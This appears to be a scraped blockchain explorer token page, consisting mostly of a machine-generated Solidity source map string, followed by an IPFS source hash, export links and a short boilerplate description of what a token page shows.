;:::-;-1:-1:-1;;;;;6045:17:0;;;:9;:17;;;;;;;;;;;:42;;;;6098:20;;;;;;;;:30;;6122:6;;6045:9;6098:30;;6122:6;;6098:30;:::i;:::-;;;;;;;;6163:9;-1:-1:-1;;;;;6146:35:0;6155:6;-1:-1:-1;;;;;6146:35:0;;6174:6;6146:35;;;;3884:25:1;;3872:2;3857:18;;3738:177;6146:35:0;;;;;;;;5860:329;5734:455;;;:::o;14:248:1:-;82:6;90;143:2;131:9;122:7;118:23;114:32;111:52;;;159:1;156;149:12;111:52;-1:-1:-1;;182:23:1;;;252:2;237:18;;;224:32;;-1:-1:-1;14:248:1:o;267:597::-;379:4;408:2;437;426:9;419:21;469:6;463:13;512:6;507:2;496:9;492:18;485:34;537:1;547:140;561:6;558:1;555:13;547:140;;;656:14;;;652:23;;646:30;622:17;;;641:2;618:26;611:66;576:10;;547:140;;;705:6;702:1;699:13;696:91;;;775:1;770:2;761:6;750:9;746:22;742:31;735:42;696:91;-1:-1:-1;848:2:1;827:15;-1:-1:-1;;823:29:1;808:45;;;;855:2;804:54;;267:597;-1:-1:-1;;;267:597:1:o;869:131::-;-1:-1:-1;;;;;944:31:1;;934:42;;924:70;;990:1;987;980:12;1005:134;1073:20;;1102:31;1073:20;1102:31;:::i;:::-;1005:134;;;:::o;1144:247::-;1203:6;1256:2;1244:9;1235:7;1231:23;1227:32;1224:52;;;1272:1;1269;1262:12;1224:52;1311:9;1298:23;1330:31;1355:5;1330:31;:::i;1588:315::-;1656:6;1664;1717:2;1705:9;1696:7;1692:23;1688:32;1685:52;;;1733:1;1730;1723:12;1685:52;1772:9;1759:23;1791:31;1816:5;1791:31;:::i;:::-;1841:5;1893:2;1878:18;;;;1865:32;;-1:-1:-1;;;1588:315:1:o;1908:127::-;1969:10;1964:3;1960:20;1957:1;1950:31;2000:4;1997:1;1990:15;2024:4;2021:1;2014:15;2040:118;2126:5;2119:13;2112:21;2105:5;2102:32;2092:60;;2148:1;2145;2138:12;2163:128;2228:20;;2257:28;2228:20;2257:28;:::i;2296:1191::-;2386:6;2394;2447:2;2435:9;2426:7;2422:23;2418:32;2415:52;;;2463:1;2460;2453:12;2415:52;2503:9;2490:23;2532:18;2573:2;2565:6;2562:14;2559:34;;;2589:1;2586;2579:12;2559:34;2627:6;2616:9;2612:22;2602:32;;2672:7;2665:4;2661:2;2657:13;2653:27;2643:55;;2694:1;2691;2684:12;2643:55;2730:2;2717:16;2752:4;2775:2;2771;2768:10;2765:36;;;2781:18;;:::i;:::-;2827:2;2824:1;2820:10;2859:2;2853:9;2922:2;2918:7;2913:2;2909;2905:11;2901:25;2893:6;2889:38;2977:6;2965:10;2962:22;2957:2;2945:10;2942:18;2939:46;2936:72;;;2988:18;;:::i;:::-;3024:2;3017:22;3074:18;;;3108:15;;;;-1:-1:-1;3150:11:1;;;3146:20;;;3178:19;;;3175:39;;;3210:1;3207;3200:12;3175:39;3234:11;;;;3254:148;3270:6;3265:3;3262:15;3254:148;;;3336:23;3355:3;3336:23;:::i;:::-;3324:36;;3287:12;;;;3380;;;;3254:148;;;3421:6;-1:-1:-1;3446:35:1;;-1:-1:-1;3462:18:1;;;3446:35;:::i;:::-;3436:45;;;;;;2296:1191;;;;;:::o;3492:241::-;3548:6;3601:2;3589:9;3580:7;3576:23;3572:32;3569:52;;;3617:1;3614;3607:12;3569:52;3656:9;3643:23;3675:28;3697:5;3675:28;:::i;4143:469::-;4233:6;4241;4249;4302:2;4290:9;4281:7;4277:23;4273:32;4270:52;;;4318:1;4315;4308:12;4270:52;4357:9;4344:23;4376:31;4401:5;4376:31;:::i;:::-;4426:5;-1:-1:-1;4483:2:1;4468:18;;4455:32;4496:33;4455:32;4496:33;:::i;:::-;4143:469;;4548:7;;-1:-1:-1;;;4602:2:1;4587:18;;;;4574:32;;4143:469::o;4617:382::-;4682:6;4690;4743:2;4731:9;4722:7;4718:23;4714:32;4711:52;;;4759:1;4756;4749:12;4711:52;4798:9;4785:23;4817:31;4842:5;4817:31;:::i;:::-;4867:5;-1:-1:-1;4924:2:1;4909:18;;4896:32;4937:30;4896:32;4937:30;:::i;:::-;4986:7;4976:17;;;4617:382;;;;;:::o;5862:180::-;5921:6;5974:2;5962:9;5953:7;5949:23;5945:32;5942:52;;;5990:1;5987;5980:12;5942:52;-1:-1:-1;6013:23:1;;5862:180;-1:-1:-1;5862:180:1:o;6047:388::-;6115:6;6123;6176:2;6164:9;6155:7;6151:23;6147:32;6144:52;;;6192:1;6189;6182:12;6144:52;6231:9;6218:23;6250:31;6275:5;6250:31;:::i;:::-;6300:5;-1:-1:-1;6357:2:1;6342:18;;6329:32;6370:33;6329:32;6370:33;:::i;6440:315::-;6508:6;6516;6569:2;6557:9;6548:7;6544:23;6540:32;6537:52;;;6585:1;6582;6575:12;6537:52;6621:9;6608:23;6598:33;;6681:2;6670:9;6666:18;6653:32;6694:31;6719:5;6694:31;:::i;7013:356::-;7215:2;7197:21;;;7234:18;;;7227:30;7293:34;7288:2;7273:18;;7266:62;7360:2;7345:18;;7013:356::o;7374:127::-;7435:10;7430:3;7426:20;7423:1;7416:31;7466:4;7463:1;7456:15;7490:4;7487:1;7480:15;7506:128;7546:3;7577:1;7573:6;7570:1;7567:13;7564:39;;;7583:18;;:::i;:::-;-1:-1:-1;7619:9:1;;7506:128::o;7997:380::-;8076:1;8072:12;;;;8119;;;8140:61;;8194:4;8186:6;8182:17;8172:27;;8140:61;8247:2;8239:6;8236:14;8216:18;8213:38;8210:161;;8293:10;8288:3;8284:20;8281:1;8274:31;8328:4;8325:1;8318:15;8356:4;8353:1;8346:15;8210:161;;7997:380;;;:::o;8382:127::-;8443:10;8438:3;8434:20;8431:1;8424:31;8474:4;8471:1;8464:15;8498:4;8495:1;8488:15;8514:135;8553:3;8574:17;;;8571:43;;8594:18;;:::i;:::-;-1:-1:-1;8641:1:1;8630:13;;8514:135::o;9826:545::-;9928:2;9923:3;9920:11;9917:448;;;9964:1;9989:5;9985:2;9978:17;10034:4;10030:2;10020:19;10104:2;10092:10;10088:19;10085:1;10081:27;10075:4;10071:38;10140:4;10128:10;10125:20;10122:47;;;-1:-1:-1;10163:4:1;10122:47;10218:2;10213:3;10209:12;10206:1;10202:20;10196:4;10192:31;10182:41;;10273:82;10291:2;10284:5;10281:13;10273:82;;;10336:17;;;10317:1;10306:13;10273:82;;10547:1352;10673:3;10667:10;10700:18;10692:6;10689:30;10686:56;;;10722:18;;:::i;:::-;10751:97;10841:6;10801:38;10833:4;10827:11;10801:38;:::i;:::-;10795:4;10751:97;:::i;:::-;10903:4;;10967:2;10956:14;;10984:1;10979:663;;;;11686:1;11703:6;11700:89;;;-1:-1:-1;11755:19:1;;;11749:26;11700:89;-1:-1:-1;;10504:1:1;10500:11;;;10496:24;10492:29;10482:40;10528:1;10524:11;;;10479:57;11802:81;;10949:944;;10979:663;9773:1;9766:14;;;9810:4;9797:18;;-1:-1:-1;;11015:20:1;;;11133:236;11147:7;11144:1;11141:14;11133:236;;;11236:19;;;11230:26;11215:42;;11328:27;;;;11296:1;11284:14;;;;11163:19;;11133:236;;;11137:3;11397:6;11388:7;11385:19;11382:201;;;11458:19;;;11452:26;-1:-1:-1;;11541:1:1;11537:14;;;11553:3;11533:24;11529:37;11525:42;11510:58;11495:74;;11382:201;-1:-1:-1;;;;;11629:1:1;11613:14;;;11609:22;11596:36;;-1:-1:-1;10547:1352:1:o;11904:422::-;11993:1;12036:5;11993:1;12050:270;12071:7;12061:8;12058:21;12050:270;;;12130:4;12126:1;12122:6;12118:17;12112:4;12109:27;12106:53;;;12139:18;;:::i;:::-;12189:7;12179:8;12175:22;12172:55;;;12209:16;;;;12172:55;12288:22;;;;12248:15;;;;12050:270;;;12054:3;11904:422;;;;;:::o;12331:806::-;12380:5;12410:8;12400:80;;-1:-1:-1;12451:1:1;12465:5;;12400:80;12499:4;12489:76;;-1:-1:-1;12536:1:1;12550:5;;12489:76;12581:4;12599:1;12594:59;;;;12667:1;12662:130;;;;12574:218;;12594:59;12624:1;12615:10;;12638:5;;;12662:130;12699:3;12689:8;12686:17;12683:43;;;12706:18;;:::i;:::-;-1:-1:-1;;12762:1:1;12748:16;;12777:5;;12574:218;;12876:2;12866:8;12863:16;12857:3;12851:4;12848:13;12844:36;12838:2;12828:8;12825:16;12820:2;12814:4;12811:12;12807:35;12804:77;12801:159;;;-1:-1:-1;12913:19:1;;;12945:5;;12801:159;12992:34;13017:8;13011:4;12992:34;:::i;:::-;13062:6;13058:1;13054:6;13050:19;13041:7;13038:32;13035:58;;;13073:18;;:::i;:::-;13111:20;;12331:806;-1:-1:-1;;;12331:806:1:o;13142:140::-;13200:5;13229:47;13270:4;13260:8;13256:19;13250:4;13229:47;:::i;13287:168::-;13327:7;13393:1;13389;13385:6;13381:14;13378:1;13375:21;13370:1;13363:9;13356:17;13352:45;13349:71;;;13400:18;;:::i;:::-;-1:-1:-1;13440:9:1;;13287:168::o;13460:251::-;13530:6;13583:2;13571:9;13562:7;13558:23;13554:32;13551:52;;;13599:1;13596;13589:12;13551:52;13631:9;13625:16;13650:31;13675:5;13650:31;:::i;14025:217::-;14065:1;14091;14081:132;;14135:10;14130:3;14126:20;14123:1;14116:31;14170:4;14167:1;14160:15;14198:4;14195:1;14188:15;14081:132;-1:-1:-1;14227:9:1;;14025:217::o;14656:125::-;14696:4;14724:1;14721;14718:8;14715:34;;;14729:18;;:::i;:::-;-1:-1:-1;14766:9:1;;14656:125::o;20262:245::-;20329:6;20382:2;20370:9;20361:7;20357:23;20353:32;20350:52;;;20398:1;20395;20388:12;20350:52;20430:9;20424:16;20449:28;20471:5;20449:28;:::i;23497:980::-;23759:4;23807:3;23796:9;23792:19;23838:6;23827:9;23820:25;23864:2;23902:6;23897:2;23886:9;23882:18;23875:34;23945:3;23940:2;23929:9;23925:18;23918:31;23969:6;24004;23998:13;24035:6;24027;24020:22;24073:3;24062:9;24058:19;24051:26;;24112:2;24104:6;24100:15;24086:29;;24133:1;24143:195;24157:6;24154:1;24151:13;24143:195;;;24222:13;;-1:-1:-1;;;;;24218:39:1;24206:52;;24313:15;;;;24278:12;;;;24254:1;24172:9;24143:195;;;-1:-1:-1;;;;;;;24394:32:1;;;;24389:2;24374:18;;24367:60;-1:-1:-1;;;24458:3:1;24443:19;24436:35;24355:3;23497:980;-1:-1:-1;;;23497:980:1:o;25094:306::-;25182:6;25190;25198;25251:2;25239:9;25230:7;25226:23;25222:32;25219:52;;;25267:1;25264;25257:12;25219:52;25296:9;25290:16;25280:26;;25346:2;25335:9;25331:18;25325:25;25315:35;;25390:2;25379:9;25375:18;25369:25;25359:35;;25094:306;;;;;:::o

Swarm Source

ipfs://e6738b3da6732281ed27f615309e416e5a2774682f229996d34a0083da2fad2d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.